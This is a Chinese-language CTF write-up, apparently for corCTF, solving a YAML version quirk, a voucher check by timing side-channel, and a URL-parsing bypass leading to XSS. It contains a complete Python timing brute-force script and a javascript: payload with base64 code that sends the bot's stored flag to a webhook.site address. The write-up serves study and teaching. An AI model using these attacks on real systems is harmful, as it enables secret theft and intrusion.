目录
yamlquiz
题目源码
要求构造一个YAML文档,使其在YAML 1.1和1.2版本下解析出的score值不同,且1.1版本解析的结果为5000
参考文章
result:
- score: 1:23:20
ur;编码一下
result%3A%0A%20%20-%20score%3A%201%3A23%3A20
vouched
一眼顶针,AI都看出来可以打侧信道了
AI搓个脚本秒了
import requests
import time
import hashlib
import binascii
# 从源码中复制的常量
PBKDF2_ITERATIONS = 1750000
DKLEN = 32
def calculate_signature(password: str, salt: str) -> str:
"""与服务器相同的签名计算函数"""
return binascii.hexlify(
hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(), PBKDF2_ITERATIONS, dklen=DKLEN)
).decode()
class VoucherBruteForcer:
def __init__(self, target_url, user_agent="Mozilla/5.0"):
self.target_url = target_url
self.user_agent = user_agent
self.known_positions = {1: '-', 4: '-', 8: '-'}
self.charset = "ABCDEF0123456789"
self.current_voucher = ['*'] * 12
self.baseline_time = 0
for pos, char in self.known_positions.items():
self.current_voucher[pos] = char
print(f"目标: {target_url}")
print(f"初始优惠券: {''.join(self.current_voucher)}")
def get_response_time(self, test_voucher, test_signature):
"""测量请求响应时间"""
data = {"voucher": test_voucher, "signature": test_signature}
headers = {"User-Agent": self.user_agent, "Content-Type": "application/json"}
try:
start_time = time.perf_counter()
response = requests.post(self.target_url, json=data, headers=headers, timeout=8)
elapsed = time.perf_counter() - start_time
return elapsed, response.text
except Exception as e:
return 0, f"Error: {e}"
def brute_force_voucher(self):
"""逐字符爆破优惠券码"""
print("开始侧信道攻击...")
# 获取基准时间(测量2次取平均)
fake_voucher = "A" * 12
fake_signature = calculate_signature(fake_voucher, self.user_agent)
baseline_times = []
for _ in range(2):
elapsed, _ = self.get_response_time(fake_voucher, fake_signature)
baseline_times.append(elapsed)
time.sleep(0.2)
self.baseline_time = sum(baseline_times) / len(baseline_times)
print(f"基准响应时间: {self.baseline_time:.6f}s (测量2次平均)")
# 逐个位置爆破
for position in range(12):
if position in self.known_positions:
continue # 跳过已知位置
print(f"\n爆破位置 {position}:")
max_time = 0
best_char = None
char_times = {}
for char in self.charset:
# 构建测试优惠券
test_voucher_list = self.current_voucher.copy()
test_voucher_list[position] = char
test_voucher_str = ''.join(test_voucher_list)
# 计算签名
test_signature = calculate_signature(test_voucher_str, self.user_agent)
# 单次测量
elapsed, response_text = self.get_response_time(test_voucher_str, test_signature)
char_times[char] = elapsed
# 检查是否直接获得flag
if "corCTF" in response_text or "FLAG" in response_text:
print(f"🎯 直接获得flag! 响应: {response_text}")
return test_voucher_str
print(f" '{char}': {elapsed:.6f}s", end="")
if elapsed > max_time:
max_time = elapsed
best_char = char
print(" ← 最佳")
else:
print()
# 短暂延迟避免请求过快
time.sleep(0.1)
# 额外验证:如果最佳时间与基准时间差异太小,重新测量
time_diff = max_time - self.baseline_time
if time_diff < 0.01: # 如果差异太小
print(f"⚠️ 时间差异过小({time_diff:.6f}s),重新验证最佳字符 '{best_char}'")
test_voucher_list = self.current_voucher.copy()
test_voucher_list[position] = best_char
test_voucher_str = ''.join(test_voucher_list)
test_signature = calculate_signature(test_voucher_str, self.user_agent)
# 重新测量3次取平均
verify_times = []
for _ in range(3):
elapsed, _ = self.get_response_time(test_voucher_str, test_signature)
verify_times.append(elapsed)
time.sleep(0.1)
verify_avg = sum(verify_times) / len(verify_times)
print(f" 验证结果: {verify_avg:.6f}s (3次平均)")
# 如果验证时间仍然不明显,选择次优字符
if verify_avg - self.baseline_time < 0.005:
print("⚠️ 验证失败,尝试次优字符...")
# 找到时间第二长的字符
sorted_chars = sorted(char_times.items(), key=lambda x: x[1], reverse=True)
if len(sorted_chars) > 1:
second_best_char, second_time = sorted_chars[1]
print(f" 尝试次优字符 '{second_best_char}': {second_time:.6f}s")
best_char = second_best_char
# 更新字符
self.current_voucher[position] = best_char
current_progress = ''.join(self.current_voucher)
current_time = char_times[best_char]
print(f"✓ 位置 {position}: '{best_char}' (时间: {current_time:.6f}s)")
print(f" 当前进度: {current_progress}")
return ''.join(self.current_voucher)
def get_flag(self, voucher_code):
"""使用正确的优惠券码获取flag"""
correct_signature = calculate_signature(voucher_code, self.user_agent)
data = {"voucher": voucher_code, "signature": correct_signature}
headers = {"User-Agent": self.user_agent, "Content-Type": "application/json"}
try:
response = requests.post(self.target_url, json=data, headers=headers)
return response.text
except Exception as e:
return f"请求错误: {e}"
def main():
target_url = "https://vouched-4059f522035cfbdb.ctfi.ng/check"
user_agent = "Mozilla/5.0"
brute_forcer = VoucherBruteForcer(target_url, user_agent)
try:
start_time = time.time()
voucher_code = brute_forcer.brute_force_voucher()
end_time = time.time()
print(f"\n⏱️ 爆破完成! 耗时: {end_time - start_time:.2f}秒")
print(f"🎉 优惠券码: {voucher_code}")
# 获取flag
print("获取flag中...")
flag_result = brute_forcer.get_flag(voucher_code)
print(f"🏁 {flag_result}")
except KeyboardInterrupt:
print("\n⏹️ 用户中断")
current_progress = ''.join(brute_forcer.current_voucher)
print(f"当前进度: {current_progress}")
except Exception as e:
print(f"\n❌ 错误: {e}")
import traceback
traceback.print_exc()
if __name__ == "__main__":
main()
safe-url
其实不是很想打xss,但这题其实考的是url解析差异,看下吧
bot先是访问safe-url.ctfi.ng这个站点,存入flag,再访问我们给的URL
有两层waf,一个是限制hostname为safeHostnames里的,二个是限制pathname长度小于10
这里协议是可以随便用的,不局限于http
如这样构造
data://cor.team/plain,11
重定向后浏览器就会去下载文件,内容为11
而题目是怎么解析url的呢
其实就是new一个URL对象,然后取其属性,如protocol、host、pathname
也让AI搓一个脚本,解析输入url的各部分,逻辑和题目一致
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>URL解析工具</title>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
body {
background: linear-gradient(135deg, #1a2a6c, #b21f1f, #fdbb2d);
color: #333;
line-height: 1.6;
padding: 20px;
min-height: 100vh;
}
.container {
max-width: 1000px;
margin: 0 auto;
background: rgba(255, 255, 255, 0.97);
border-radius: 15px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
overflow: hidden;
}
header {
background: #1a2a6c;
color: white;
padding: 25px;
text-align: center;
}
h1 {
font-size: 2.5rem;
margin-bottom: 10px;
}
.content {
padding: 30px;
}
.input-section {
margin-bottom: 30px;
}
.input-group {
display: flex;
gap: 10px;
margin-bottom: 15px;
}
input[type="text"] {
flex: 1;
padding: 12px 15px;
border: 2px solid #ddd;
border-radius: 8px;
font-size: 16px;
}
button {
background: #1a2a6c;
color: white;
border: none;
padding: 12px 20px;
border-radius: 8px;
cursor: pointer;
font-size: 16px;
transition: background 0.3s;
}
button:hover {
background: #2d4e77;
}
.result-section {
background: #f8f9fa;
border-radius: 10px;
padding: 20px;
margin-top: 20px;
}
h2 {
color: #1a2a6c;
margin-bottom: 20px;
padding-bottom: 10px;
border-bottom: 2px solid #1a2a6c;
}
.url-part {
display: grid;
grid-template-columns: 150px 1fr;
margin-bottom: 10px;
padding: 10px;
background: white;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
}
.part-name {
font-weight: bold;
color: #1a2a6c;
}
.part-value {
font-family: monospace;
word-break: break-all;
}
.error {
background: #fce8e6;
color: #d93025;
padding: 15px;
border-radius: 8px;
margin-top: 20px;
}
.base-url {
margin-top: 15px;
font-style: italic;
color: #666;
}
.note {
background: #e6f4ea;
padding: 15px;
border-radius: 8px;
margin-top: 20px;
font-size: 14px;
}
</style>
</head>
<body>
<div class="container">
<header>
<h1>URL解析工具</h1>
<p>分析和分解URL的各个组成部分</p>
</header>
<div class="content">
<div class="input-section">
<h2>输入URL</h2>
<div class="input-group">
<input type="text" id="urlInput" placeholder="输入URL(例如:https://example.com/path?query=value#fragment)">
<button id="parseBtn">解析URL</button>
</div>
<p class="base-url">当前页面URL: <span id="currentUrl"></span></p>
</div>
<div class="result-section">
<h2>解析结果</h2>
<div id="urlParts"></div>
<div id="errorMessage" class="error" style="display: none;"></div>
<div class="note">
<p><strong>注意:</strong> 此工具使用JavaScript的URL构造函数进行解析,与题目中的解析方式完全一致。</p>
<p>URL构造函数使用第二个参数作为基础URL(base),如果第一个参数是相对URL,则会基于基础URL进行解析。</p>
</div>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
// 显示当前页面URL
document.getElementById('currentUrl').textContent = window.location.href;
// 获取DOM元素
const urlInput = document.getElementById('urlInput');
const parseBtn = document.getElementById('parseBtn');
const urlParts = document.getElementById('urlParts');
const errorMessage = document.getElementById('errorMessage');
// 示例URL
urlInput.value = 'https://cor.team/path?query=value#fragment';
// 解析URL函数
function parseUrl() {
const inputUrl = urlInput.value.trim();
if (!inputUrl) {
showError('请输入URL');
return;
}
try {
errorMessage.style.display = 'none';
// 使用与题目相同的解析方式
const parsedUrl = new URL(inputUrl, window.location.origin);
// 显示解析结果
displayUrlParts(parsedUrl);
} catch (error) {
showError('URL解析错误: ' + error.message);
}
}
// 显示URL各部分
function displayUrlParts(url) {
const parts = [
{ name: 'href', value: url.href },
{ name: 'origin', value: url.origin },
{ name: 'protocol', value: url.protocol },
{ name: 'username', value: url.username },
{ name: 'password', value: url.password },
{ name: 'host', value: url.host },
{ name: 'hostname', value: url.hostname },
{ name: 'port', value: url.port },
{ name: 'pathname', value: url.pathname },
{ name: 'search', value: url.search },
{ name: 'searchParams', value: JSON.stringify(Object.fromEntries(url.searchParams), null, 2) },
{ name: 'hash', value: url.hash }
];
let html = '';
parts.forEach(part => {
html += `
<div class="url-part">
<div class="part-name">${part.name}:</div>
<div class="part-value">${part.value || '(空)'}</div>
</div>
`;
});
urlParts.innerHTML = html;
}
// 显示错误信息
function showError(message) {
errorMessage.textContent = message;
errorMessage.style.display = 'block';
urlParts.innerHTML = '';
}
// 添加事件监听器
parseBtn.addEventListener('click', parseUrl);
// 按Enter键也可以触发解析
urlInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
parseUrl();
}
});
// 初始解析示例URL
parseUrl();
});
</script>
</body>
</html>
如下,上面的data协议,hostname为cor.team,pathname为/plain,11,符合题目格式要求
但data还是太受限了,题目最终要求是xss,所以考虑用javascript协议
而javascript协议是允许多行解析的
打入payload
让bot访问,似乎bot没法访问裸ip,所以拿webhook接一下
https://safe-url.ctfi.ng/?redirect=javascript%3A%2F%2Fz3r4y%250aeval%28atob%28%27ZmV0Y2goImh0dHBzOi8vd2ViaG9vay5zaXRlL2Q0NmFhOTcwLTg2NjMtNGU4ZC1hMTFhLWM2NTMwOGZmNmVlMy8iK2xvY2FsU3RvcmFnZS5nZXRJdGVtKCJmbGFnIikp%27%29%29%250az3r4y%2Eexample%2Ecom
拿到flag
简单解读下payload的bypass
末尾的example.com可以过掉safehostname的判断
微妙的是,pathname也被解析为空,也直接绕过了长度限制
挺妙的,可惜不能用在SSRF里 :-(